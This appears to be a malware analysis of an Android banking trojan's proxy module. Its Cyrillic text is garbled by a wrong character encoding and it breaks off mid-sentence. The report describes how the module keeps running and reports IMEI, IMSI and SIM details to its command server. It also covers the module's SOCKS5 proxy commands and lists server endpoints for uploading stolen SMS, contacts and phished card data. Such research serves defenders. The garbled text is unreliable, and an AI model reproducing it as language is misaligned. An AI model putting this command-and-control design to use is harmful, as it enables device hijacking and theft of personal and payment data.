ΠΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ ΡΠ΅ ΡΡΠ°ΡΡΡΠ²Π° ΠΏΠΎ Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ΡΠΎ Π½Π° ΡΠΎΠΎΠ΄Π²Π΅ΡΠ½Π°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°. ΠΠΎΠ³Π° ΡΠ΅ ΡΠ΅ ΠΏΡΠΈΠΌΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π·Π° ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΏΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π·Π°ΠΏΠΎΡΠ½ΡΠ²Π° ΡΡΠ»ΡΠ³Π° Π½Π°ΡΠ΅ΡΠ΅Π½Π° MainService, ΠΊΠΎΡ Π΅ ΠΎΠ΄Π³ΠΎΠ²ΠΎΡΠ΅Π½ Π·Π° ΡΠΏΡΠ°Π²ΡΠ²Π°ΡΠ΅ ΡΠΎ ΡΠ°Π±ΠΎΡΠ°ΡΠ° Π½Π° Proxy ΠΌΠΎΠ΄ΡΠ»ΠΎΡ - Π½Π΅Π³ΠΎΠ²ΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ ΠΈ ΡΡΠΎΠΏΠΈΡΠ°ΡΠ΅.
Π€Π°Π·ΠΈ Π½Π° Π·Π°ΠΏΠΎΡΠ½ΡΠ²Π°ΡΠ΅ Π½Π° ΡΡΠ»ΡΠ³Π°ΡΠ°:
1. ΠΠ°ΠΏΠΎΡΠ½ΡΠ²Π° ΡΠ°ΡΠΌΠ΅Ρ ΡΡΠΎ ΡΠ°Π±ΠΎΡΠΈ Π΅Π΄Π½Π°Ρ Π²ΠΎ ΠΌΠΈΠ½ΡΡΠ° ΠΈ ΡΠ° ΠΏΡΠΎΠ²Π΅ΡΡΠ²Π° Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠ° Π½Π° ΠΏΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ. ΠΠΊΠΎ ΠΌΠΎΠ΄ΡΠ»ΠΎΡ Π½Π΅ Π΅ Π°ΠΊΡΠΈΠ²Π΅Π½, ΡΠΎΡ Π³ΠΎ ΡΡΠ°ΡΡΡΠ²Π°.
ΠΡΡΠΎ ΡΠ°ΠΊΠ° ΠΊΠΎΠ³Π° Π½Π°ΡΡΠ°Π½ΠΎΡ Π΅ Π°ΠΊΡΠΈΠ²ΠΈΡΠ°Π½ android.net.conn.CONNECTIVITY_CHANGE ΠΠΎΠ΄ΡΠ»ΠΎΡ Proxy Π΅ ΡΡΠ°ΡΡΡΠ²Π°Π½.
2. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠΎΠ·Π΄Π°Π²Π° wake-lock ΡΠΎ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΠ°ΡΠΎΡ PARTIAL_WAKE_LOCK ΠΈ Π³ΠΎ Π·Π°ΡΠΎΠ±ΡΠ²Π°. ΠΠ²Π° Π³ΠΎ ΡΠΏΡΠ΅ΡΡΠ²Π° ΠΏΡΠΎΡΠ΅ΡΠΎΡΠΎΡ Π½Π° ΡΡΠ΅Π΄ΠΎΡ Π΄Π° ΠΏΡΠ΅ΠΌΠΈΠ½Π΅ Π²ΠΎ ΡΠ΅ΠΆΠΈΠΌ Π½Π° ΠΌΠΈΡΡΠ²Π°ΡΠ΅.
3. ΠΠ° ΡΡΠ°ΡΡΡΠ²Π° ΠΊΠ»Π°ΡΠ°ΡΠ° Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π½Π° ΠΌΠΎΠ΄ΡΠ»ΠΎΡ Proxy, ΠΏΡΠ²ΠΎ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°ΡΡΠΈ ΡΠ° Π»ΠΈΠ½ΠΈΡΠ°ΡΠ° mainLog ("ΡΡΠ°ΡΡ ΡΠ΅ΡΠ²Π΅Ρ") ΠΈ
Π‘Π΅ΡΠ²Π΅Ρ::start() Π΄ΠΎΠΌΠ°ΡΠΈΠ½[], commandPort[], proxyPort[]
ΠΊΠ°Π΄Π΅ ΡΡΠΎ proxy_cnc, command_port ΠΈ proxy_port β ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈ Π΄ΠΎΠ±ΠΈΠ΅Π½ΠΈ ΠΎΠ΄ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ°ΡΠ° Π½Π° ΠΏΡΠΎΠΊΡΠΈ-ΡΠ΅ΡΠ²Π΅ΡΠΎΡ.
Π‘Π΅ ΠΏΠΎΠ²ΠΈΠΊΡΠ²Π° ΠΊΠ»Π°ΡΠ°ΡΠ° Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ CommandConnection. ΠΠ΅Π΄Π½Π°Ρ ΠΏΠΎ ΡΡΠ°ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ, ΠΈΠ·Π²ΡΡΠ΅ΡΠ΅ Π³ΠΈ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ Π΄Π΅ΡΡΡΠ²Π°:
4. Π‘Π΅ ΠΏΠΎΠ²ΡΠ·ΡΠ²Π° ΡΠΎ ProxyConfigClass.host: ProxyConfigClass.commandPort ΠΈ ΠΈΡΠΏΡΠ°ΡΠ° ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΈΠΎΡ ΡΡΠ΅Π΄ ΡΠ°ΠΌΡ Π²ΠΎ JSON ΡΠΎΡΠΌΠ°Ρ:
{
"id":<%id%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"model":<%model%>,
"manufacturer":<%manufacturer%>,
"androidVersion":<%androidVersion%>,
"country":<%country%>,
"partnerId":<%partnerId%>,
"packageName":<%packageName%>,
"networkType":<%networkType%>,
"hasGsmSupport":<%hasGsmSupport%>,
"simReady":<%simReady%>,
"simCountry":<%simCountry%>,
"networkOperator":<%networkOperator%>,
"simOperator":<%simOperator%>,
"version":<%version%>
}
ΠΠ°Π΄Π΅ ΡΡΠΎ:
- id β ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ, ΡΠ΅ ΠΎΠ±ΠΈΠ΄ΡΠ²Π° Π΄Π° Π΄ΠΎΠ±ΠΈΠ΅ Π²ΡΠ΅Π΄Π½ΠΎΡΡ ΡΠΎ ΠΏΠΎΠ»Π΅ΡΠΎ βidβ ΠΎΠ΄ Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°ΡΠ° Shared Preference ΡΠΎ ΠΈΠΌΠ΅ βxβ. ΠΠΊΠΎ ΠΎΠ²Π°Π° Π²ΡΠ΅Π΄Π½ΠΎΡΡ Π½Π΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ Π΄ΠΎΠ±ΠΈΠ΅, ΡΠ°Π° Π³Π΅Π½Π΅ΡΠΈΡΠ° Π½ΠΎΠ²Π°. Π’Π°ΠΊΠ°, ΠΏΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ ΠΈΠΌΠ° ΡΠ²ΠΎΡ ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΎΡ, ΠΊΠΎΡ ΡΠ΅ Π³Π΅Π½Π΅ΡΠΈΡΠ° ΡΠ»ΠΈΡΠ½ΠΎ Π½Π° Bot ID.
- imei β IMEI Π½Π° ΡΡΠ΅Π΄ΠΎΡ. ΠΠΊΠΎ ΡΠ΅ ΠΏΠΎΡΠ°Π²ΠΈ Π³ΡΠ΅ΡΠΊΠ° ΠΏΡΠΈ ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ Π½Π° Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ°, Π½Π°ΠΌΠ΅ΡΡΠΎ ΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΠΈΠ΄Π΅ Π½Π°ΠΏΠΈΡΠ°Π½Π° ΡΠ΅ΠΊΡΡΡΠ°Π»Π½Π° ΠΏΠΎΡΠ°ΠΊΠ° Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- imsi β ΠΠ΅ΡΡΠ½Π°ΡΠΎΠ΄Π΅Π½ ΠΌΠΎΠ±ΠΈΠ»Π΅Π½ ΠΏΡΠ΅ΡΠΏΠ»Π°ΡΠ½ΠΈΡΠΊΠΈ ΠΈΠ΄Π΅Π½ΡΠΈΡΠ΅Ρ Π½Π° ΡΡΠ΅Π΄ΠΎΡ. ΠΠΊΠΎ ΡΠ΅ ΠΏΠΎΡΠ°Π²ΠΈ Π³ΡΠ΅ΡΠΊΠ° ΠΏΡΠΈ ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ Π½Π° Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ°, Π½Π°ΠΌΠ΅ΡΡΠΎ ΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΠΈΠ΄Π΅ Π½Π°ΠΏΠΈΡΠ°Π½Π° ΡΠ΅ΠΊΡΡΡΠ°Π»Π½Π° ΠΏΠΎΡΠ°ΠΊΠ° Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- ΠΌΠΎΠ΄Π΅Π» - ΠΠΌΠ΅ΡΠΎ Π·Π° ΠΊΡΠ°ΡΠ½ΠΈΠΎΡ ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ Π²ΠΈΠ΄Π»ΠΈΠ²ΠΎ Π·Π° ΠΊΡΠ°ΡΠ½ΠΈΠΎΡ ΠΊΠΎΡΠΈΡΠ½ΠΈΠΊ.
- ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π» β ΠΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΠΎΡ Π½Π° ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΎΡ/Ρ Π°ΡΠ΄Π²Π΅ΡΠΎΡ (ΠΈΠ·Π³ΡΠ°Π΄Π±Π°.ΠΠ ΠΠΠΠΠΠΠΠ’ΠΠΠΠ’).
- androidVersion - Π½ΠΈΠ·Π° Π²ΠΎ ΡΠΎΡΠΌΠ°Ρ β (),β
- Π·Π΅ΠΌΡΠ° β ΠΌΠΎΠΌΠ΅Π½ΡΠ°Π»Π½Π° Π»ΠΎΠΊΠ°ΡΠΈΡΠ° Π½Π° ΡΡΠ΅Π΄ΠΎΡ.
- partnerId Π΅ ΠΏΡΠ°Π·Π½Π° Π½ΠΈΠ·Π°.
- ΠΠΌΠ΅ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ - ΠΈΠΌΠ΅ Π½Π° ΠΏΠ°ΠΊΠ΅Ρ.
- networkType β ΡΠΈΠΏ Π½Π° ΠΌΠΎΠΌΠ΅Π½ΡΠ°Π»Π½Π° ΠΌΡΠ΅ΠΆΠ½Π° ΠΊΠΎΠ½Π΅ΠΊΡΠΈΡΠ° (Π½Π° ΠΏΡΠΈΠΌΠ΅Ρ: βWIFIβ, βMOBILEβ). ΠΠΎ ΡΠ»ΡΡΠ°Ρ Π½Π° Π³ΡΠ΅ΡΠΊΠ°, Π²ΡΠ°ΡΠ° Π½ΡΠ»Π°.
- ΠΈΠΌΠ° GsmSupport β ΡΠΎΡΠ½ΠΎ β Π°ΠΊΠΎ ΡΠ΅Π»Π΅ΡΠΎΠ½ΠΎΡ ΠΏΠΎΠ΄Π΄ΡΠΆΡΠ²Π° GSM, ΠΈΠ½Π°ΠΊΡ Π½Π΅ΡΠΎΡΠ½ΠΎ.
- simReady β ΡΠΎΡΡΠΎΡΠ±Π° Π½Π° SIM ΠΊΠ°ΡΡΠΈΡΠΊΠ°ΡΠ°.
- simCountry - ISO ΠΊΠΎΠ΄ Π½Π° Π·Π΅ΠΌΡΠ°ΡΠ° (Π²ΡΠ· ΠΎΡΠ½ΠΎΠ²Π° Π½Π° Π΄Π°Π²Π°ΡΠ΅Π»ΠΎΡ Π½Π° SIM ΠΊΠ°ΡΡΠΈΡΠΊΠ°ΡΠ°).
- networkOperator β ΠΈΠΌΠ΅ Π½Π° ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡ. ΠΠΊΠΎ ΡΠ΅ ΠΏΠΎΡΠ°Π²ΠΈ Π³ΡΠ΅ΡΠΊΠ° ΠΏΡΠΈ ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ Π½Π° Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ°, Π½Π°ΠΌΠ΅ΡΡΠΎ ΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΠΈΠ΄Π΅ Π½Π°ΠΏΠΈΡΠ°Π½Π° ΡΠ΅ΠΊΡΡΡΠ°Π»Π½Π° ΠΏΠΎΡΠ°ΠΊΠ° Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- simOperator - ΠΠΌΠ΅ Π½Π° Π΄Π°Π²Π°ΡΠ΅Π» Π½Π° ΡΡΠ»ΡΠ³ΠΈ (SPN). ΠΠΊΠΎ ΡΠ΅ ΠΏΠΎΡΠ°Π²ΠΈ Π³ΡΠ΅ΡΠΊΠ° ΠΏΡΠΈ ΠΏΡΠΎΡΠ΅ΡΠΎΡ Π½Π° Π΄ΠΎΠ±ΠΈΠ²Π°ΡΠ΅ Π½Π° Π²ΡΠ΅Π΄Π½ΠΎΡΡΠ°, Π½Π°ΠΌΠ΅ΡΡΠΎ ΠΎΠ²Π° ΠΏΠΎΠ»Π΅ ΡΠ΅ Π±ΠΈΠ΄Π΅ Π½Π°ΠΏΠΈΡΠ°Π½Π° ΡΠ΅ΠΊΡΡΡΠ°Π»Π½Π° ΠΏΠΎΡΠ°ΠΊΠ° Π·Π° Π³ΡΠ΅ΡΠΊΠ°.
- Π²Π΅ΡΠ·ΠΈΡΠ° - ΠΎΠ²Π° ΠΏΠΎΠ»Π΅ Π΅ Π·Π°ΡΡΠ²Π°Π½ΠΎ Π²ΠΎ ΠΊΠ»Π°ΡΠ°ΡΠ° Π·Π° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡΠ°; Π·Π° ΡΠ΅ΡΡΠΈΡΠ°Π½ΠΈΡΠ΅ Π²Π΅ΡΠ·ΠΈΠΈ Π½Π° Π±ΠΎΡΠΎΡ Π±Π΅ΡΠ΅ Π΅Π΄Π½Π°ΠΊΠ²ΠΎ Π½Π° β1.6β.
5. Π‘Π΅ ΠΏΡΠ΅ΡΡΠ»Π° Π½Π° ΡΠ΅ΠΆΠΈΠΌΠΎΡ Π½Π° ΡΠ΅ΠΊΠ°ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ. ΠΠ°ΡΠ΅Π΄Π±ΠΈΡΠ΅ ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ Π΄ΠΎΠ°ΡΠ°Π°Ρ Π²ΠΎ ΡΠΎΡΠΌΠ°Ρ:
- 0 ΠΏΠΎΠΌΠ΅ΡΡΡΠ²Π°ΡΠ΅ β ΠΊΠΎΠΌΠ°Π½Π΄Π°
- 1 ΠΏΠΎΠΌΠ΅ΡΡΡΠ²Π°ΡΠ΅ β Π‘Π΅ΡΠΈΡΠ°Id
- 2 ΠΏΠΎΠΌΠ΅ΡΡΡΠ²Π°ΡΠ΅ β Π΄ΠΎΠ»ΠΆΠΈΠ½Π°
- 4 ΠΏΠΎΠΌΠ΅ΡΡΡΠ²Π°ΡΠ΅ - ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ
ΠΠΎΠ³Π° ΡΠ΅ ΠΏΡΠΈΡΡΠΈΠ³Π½Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°, Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΡΠ΅ Π»ΠΎΠ³ΠΈΡΠ°:
mainLog("Header { sessionId], ΡΠΈΠΏ[], Π΄ΠΎΠ»ΠΆΠΈΠ½Π°[] }")
Π‘Π»Π΅Π΄Π½ΠΈΠ²Π΅ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΠ΄ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΡΠ΅ ΠΌΠΎΠΆΠ½ΠΈ:
ΠΠΌΠ΅ | ΠΠΎΠΌΠ°Π½Π΄Π° | ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ | ΠΠΏΠΈΡ |
---|---|---|---|
ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° Π²ΡΡΠΊΠ°ΡΠ° | 0 | ID Π·Π° ΠΏΠΎΠ²ΡΠ·ΡΠ²Π°ΡΠ΅ | ΠΠ°ΠΏΡΠ°Π²Π΅ΡΠ΅ Π½ΠΎΠ²Π° Π²ΡΡΠΊΠ° |
Π‘ΠΠΠ’Π | 3 | Π²ΡΠ΅ΠΌΠ΅ | ΠΠ°ΡΠ·ΠΈΡΠ°ΡΡΠ΅ Π³ΠΎ ΠΏΡΠΎΠΊΡΠΈ-ΠΌΠΎΠ΄ΡΠ»ΠΎΡ |
ΠΠΠΠ ΠΠΠΠ | 4 | - | ΠΡΠΏΡΠ°ΡΠΈ ΠΏΠΎΡΠ°ΠΊΠ° PONG |
ΠΠΎΡΠ°ΠΊΠ°ΡΠ° PONG ΡΠ΅ ΡΠΎΡΡΠΎΠΈ ΠΎΠ΄ 4 Π±Π°ΡΡΠΈ ΠΈ ΠΈΠ·Π³Π»Π΅Π΄Π° Π²Π°ΠΊΠ°: 0x04000000.
ΠΠΎΠ³Π° ΡΠ΅ ΡΠ΅ ΠΏΡΠΈΠΌΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° connectionId (Π·Π° Π΄Π° ΡΠ΅ ΡΠΎΠ·Π΄Π°Π΄Π΅ Π½ΠΎΠ²Π° Π²ΡΡΠΊΠ°) CommandConnection ΡΠΎΠ·Π΄Π°Π²Π° ΠΏΡΠΈΠΌΠ΅Ρ ΠΎΠ΄ ΠΊΠ»Π°ΡΠ° ProxyConnection.
- ΠΠ²Π΅ ΠΊΠ»Π°ΡΠΈ ΡΡΠ΅ΡΡΠ²ΡΠ²Π°Π°Ρ Π²ΠΎ ΠΏΡΠΎΠΊΡΠΈ: ProxyConnection ΠΈ ΠΊΡΠ°ΡΠΎΡ. ΠΡΠΈ ΠΊΡΠ΅ΠΈΡΠ°ΡΠ΅ Π½Π° ΠΊΠ»Π°ΡΠ° ProxyConnection ΠΏΠΎΠ²ΡΠ·ΡΠ²Π°ΡΠ΅ ΡΠΎ Π°Π΄ΡΠ΅ΡΠ°ΡΠ° ProxyConfigClass.host: ProxyConfigClass.proxyPort ΠΈ ΠΏΡΠ΅Π½Π΅ΡΡΠ²Π°ΡΠ΅ Π½Π° ΠΎΠ±ΡΠ΅ΠΊΡΠΎΡ JSON:
{
"id":<%connectionId%>
}
ΠΠ°ΠΊΠΎ ΠΎΠ΄Π³ΠΎΠ²ΠΎΡ, ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΠΈΡΠΏΡΠ°ΡΠ° ΠΏΠΎΡΠ°ΠΊΠ° SOCKS5 ΠΊΠΎΡΠ° ΡΠ° ΡΠΎΠ΄ΡΠΆΠΈ Π°Π΄ΡΠ΅ΡΠ°ΡΠ° Π½Π° ΠΎΠ΄Π΄Π°Π»Π΅ΡΠ΅Π½ΠΈΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ ΡΠΎ ΠΊΠΎΡ Π²ΡΡΠΊΠ°ΡΠ° ΠΌΠΎΡΠ° Π΄Π° ΡΠ΅ Π²ΠΎΡΠΏΠΎΡΡΠ°Π²ΠΈ. ΠΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° ΡΠΎ ΠΎΠ²ΠΎΡ ΡΠ΅ΡΠ²Π΅Ρ ΡΠ΅ ΡΠ°Π²ΡΠ²Π° ΠΏΡΠ΅ΠΊΡ ΠΊΠ»Π°ΡΠ°ΡΠ° ΠΊΡΠ°ΡΠΎΡ. ΠΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° Π²ΡΡΠΊΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ ΡΠ΅ΠΌΠ°ΡΡΠΊΠΈ Π΄Π° ΡΠ΅ ΠΏΡΠ΅ΡΡΡΠ°Π²ΠΈ Π½Π° ΡΠ»Π΅Π΄Π½ΠΈΠΎΠ² Π½Π°ΡΠΈΠ½:
ΠΡΠ΅ΠΆΠ½ΠΈ ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΠΈ
ΠΠ° Π΄Π° ΡΠ΅ ΡΠΏΡΠ΅ΡΠΈ Π°Π½Π°Π»ΠΈΠ·Π° Π½Π° ΡΠΎΠΎΠ±ΡΠ°ΡΠ°ΡΠΎΡ ΠΎΠ΄ ΡΡΡΠ°Π½Π° Π½Π° ΠΌΡΠ΅ΠΆΠ½ΠΈΡΠ΅ ΡΡΠ°Π³Π°ΡΠΈ, ΠΈΠ½ΡΠ΅ΡΠ°ΠΊΡΠΈΡΠ°ΡΠ° ΠΏΠΎΠΌΠ΅ΡΡ CnC ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΠΈ Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ Π·Π°ΡΡΠΈΡΠΈ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° SSL ΠΏΡΠΎΡΠΎΠΊΠΎΠ»ΠΎΡ. Π‘ΠΈΡΠ΅ ΠΏΡΠ΅Π½Π΅ΡΠ΅Π½ΠΈ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ ΠΈ ΠΎΠ΄ ΠΈ Π΄ΠΎ ΡΠ΅ΡΠ²Π΅ΡΠΎΡ ΡΠ΅ ΠΏΡΠ΅ΡΡΡΠ°Π²Π΅Π½ΠΈ Π²ΠΎ JSON ΡΠΎΡΠΌΠ°Ρ. ΠΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°ΡΠ° Π³ΠΈ ΠΈΠ·Π²ΡΡΡΠ²Π° ΡΠ»Π΅Π΄Π½ΠΈΠ²Π΅ Π±Π°ΡΠ°ΡΠ° Π·Π° Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΡΠ°Π±ΠΎΡΠ°ΡΠ°:
- http://<%CnC%>/api/v1/set_state.php - ΡΠ΅Π·ΡΠ»ΡΠ°ΡΠΎΡ ΠΎΠ΄ ΠΈΠ·Π²ΡΡΡΠ²Π°ΡΠ΅ΡΠΎ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°.
- http://<%CnC%>/api/v1/get.php β ΠΏΡΠΈΠΌΠ°ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°.
- http://<%CnC%>/api/v1/load_sms.php β ΠΏΡΠ΅Π·Π΅ΠΌΠ°ΡΠ΅ Π‘ΠΠ‘ ΠΏΠΎΡΠ°ΠΊΠΈ ΠΎΠ΄ Π·Π°ΡΠ°Π·Π΅Π½ ΡΡΠ΅Π΄.
- http://<%CnC%>/api/v1/load_ab.php β ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ Π»ΠΈΡΡΠ° Π½Π° ΠΊΠΎΠ½ΡΠ°ΠΊΡΠΈ ΠΎΠ΄ Π·Π°ΡΠ°Π·Π΅Π½ ΡΡΠ΅Π΄.
- http://<%CnC%>/api/v1/aevents.php β Π±Π°ΡΠ°ΡΠ΅ΡΠΎ ΡΠ΅ ΠΏΡΠ°Π²ΠΈ ΠΏΡΠΈ Π°ΠΆΡΡΠΈΡΠ°ΡΠ΅ Π½Π° ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅ Π»ΠΎΡΠΈΡΠ°Π½ΠΈ Π²ΠΎ ΠΏΡΠ΅ΡΠ΅ΡΠ΅Π½ΡΠ½Π°ΡΠ° Π΄Π°ΡΠΎΡΠ΅ΠΊΠ°.
- http://<%CnC%>/api/v1/set_card.php β ΠΏΡΠΈΠΊΠ°ΡΡΠ²Π°ΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π΄ΠΎΠ±ΠΈΠ΅Π½ΠΈ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅Ρ Π·Π° ΡΠΈΡΠΈΠ½Π³ ΡΡΠΎ ΡΠ΅ ΠΌΠ°ΡΠΊΠΈΡΠ° ΠΊΠ°ΠΊΠΎ Google Play Market.
- http://<%CnC%>/api/v1/logs.php β ΠΏΠΎΡΡΠ°Π²ΡΠ²Π°ΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ ΠΎΠ΄ Π΄Π½Π΅Π²Π½ΠΈΠΊΠΎΡ.
- http://<%CnC%>/api/v1/records.php β ΠΏΡΠΈΠΊΠ°ΡΡΠ²Π°ΡΠ΅ ΠΏΠΎΠ΄Π°ΡΠΎΡΠΈ Π΄ΠΎΠ±ΠΈΠ΅Π½ΠΈ ΠΏΡΠ΅ΠΊΡ ΡΠΈΡΠΈΠ½Π³ ΠΏΡΠΎΠ·ΠΎΡΡΠΈ.
- http://<%CnC%>/api/v1/set_error.php β ΠΈΠ·Π²Π΅ΡΡΡΠ²Π°ΡΠ΅ Π·Π° Π½Π°ΡΡΠ°Π½Π°ΡΠ° Π³ΡΠ΅ΡΠΊΠ°.
ΠΡΠ΅ΠΏΠΎΡΠ°ΠΊΠΈ
Π‘ΠΎ ΡΠ΅Π» Π΄Π° Π³ΠΈ Π·Π°ΡΡΠΈΡΠ°Ρ ΡΠ²ΠΎΠΈΡΠ΅ ΠΊΠ»ΠΈΠ΅Π½ΡΠΈ ΠΎΠ΄ Π·Π°ΠΊΠ°Π½Π°ΡΠ° Π½Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈΡΠ΅ ΡΡΠΎΡΠ°Π½ΡΠΈ, ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈΡΠ΅ ΠΌΠΎΡΠ° Π΄Π° ΠΊΠΎΡΠΈΡΡΠ°Ρ ΡΠ΅ΠΎΠΏΡΠ°ΡΠ½ΠΈ ΡΠ΅ΡΠ΅Π½ΠΈΡΠ° ΠΊΠΎΠΈ ΡΠ΅ ΠΈΠΌ ΠΎΠ²ΠΎΠ·ΠΌΠΎΠΆΠ°Ρ Π΄Π° Π³ΠΈ ΡΠ»Π΅Π΄Π°Ρ ΠΈ ΡΠΏΡΠ΅ΡΠ°Ρ Π·Π»ΠΎΠ½Π°ΠΌΠ΅ΡΠ½ΠΈΡΠ΅ Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΠΈ Π±Π΅Π· Π΄Π° ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π°Ρ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡΠ΅Π»Π΅Π½ ΡΠΎΡΡΠ²Π΅Ρ Π½Π° ΠΊΠΎΡΠΈΡΠ½ΠΈΡΠΊΠΈΡΠ΅ ΡΡΠ΅Π΄ΠΈ.
ΠΠ° Π΄Π° Π³ΠΎ Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΠΎΠ²Π°, ΠΌΠ΅ΡΠΎΠ΄ΠΈΡΠ΅ Π·Π° ΠΏΠΎΡΠΏΠΈΡ Π·Π° ΠΎΡΠΊΡΠΈΠ²Π°ΡΠ΅ Π½Π° ΠΌΠΎΠ±ΠΈΠ»Π½ΠΈ ΡΡΠΎΡΠ°Π½ΡΠΈ ΡΡΠ΅Π±Π° Π΄Π° ΡΠ΅ Π·Π°ΡΠ°ΠΊΠ½Π°Ρ ΡΠΎ ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ Π·Π° Π°Π½Π°Π»ΠΈΠ·Π° Π½Π° ΠΎΠ΄Π½Π΅ΡΡΠ²Π°ΡΠ΅ΡΠΎ ΠΈ Π½Π° ΠΊΠ»ΠΈΠ΅Π½ΡΠΎΡ ΠΈ Π½Π° ΡΠ°ΠΌΠ°ΡΠ° Π°ΠΏΠ»ΠΈΠΊΠ°ΡΠΈΡΠ°. ΠΠ°ΡΡΠΈΡΠ°ΡΠ° ΡΡΠ΅Π±Π° Π΄Π° Π²ΠΊΠ»ΡΡΡΠ²Π° ΠΈ ΡΡΠ½ΠΊΡΠΈΡΠ° Π·Π° ΠΈΠ΄Π΅Π½ΡΠΈΡΠΈΠΊΠ°ΡΠΈΡΠ° Π½Π° ΡΡΠ΅Π΄ΠΎΡ ΡΠΎ ΠΏΠΎΠΌΠΎΡ Π½Π° ΡΠ΅Ρ Π½ΠΎΠ»ΠΎΠ³ΠΈΡΠ° 